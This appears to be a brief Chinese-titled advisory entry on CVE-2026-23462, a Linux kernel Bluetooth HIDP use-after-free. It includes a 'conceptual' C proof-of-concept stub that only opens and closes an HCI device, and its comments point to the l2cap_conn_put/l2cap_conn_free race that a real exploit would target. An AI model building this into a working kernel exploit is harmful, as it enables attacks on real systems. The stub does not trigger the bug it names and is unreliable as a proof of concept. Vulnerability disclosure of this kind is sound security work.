CVE-2026-23462 Linux内核蓝牙HIDP释放后重用漏洞

/* * Conceptual PoC for CVE-2026-23462 UAF Trigger * This requires a system with Bluetooth and VHCI support. * The actual exploit involves precise timing during disconnect. */ #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <bluetooth/bluetooth.h> #include <bluetooth/hci.h> #include <bluetooth/hci_lib.h> int main() { int dev_id = hci_get_route(NULL); int dd = hci_open_dev(dev_id); if (dd < 0) { perror("HCI device open failed"); return -1; } printf("Attempting to trigger HIDP UAF via rapid disconnect logic...\n"); // In a real scenario, one would setup a virtual HID device // and repeatedly connect/disconnect to hit the race condition // in l2cap_conn_put vs l2cap_conn_free. // Simulating the disconnect request that triggers the bug path // hci_disconnect(dd, ...); close(dd); return 0; }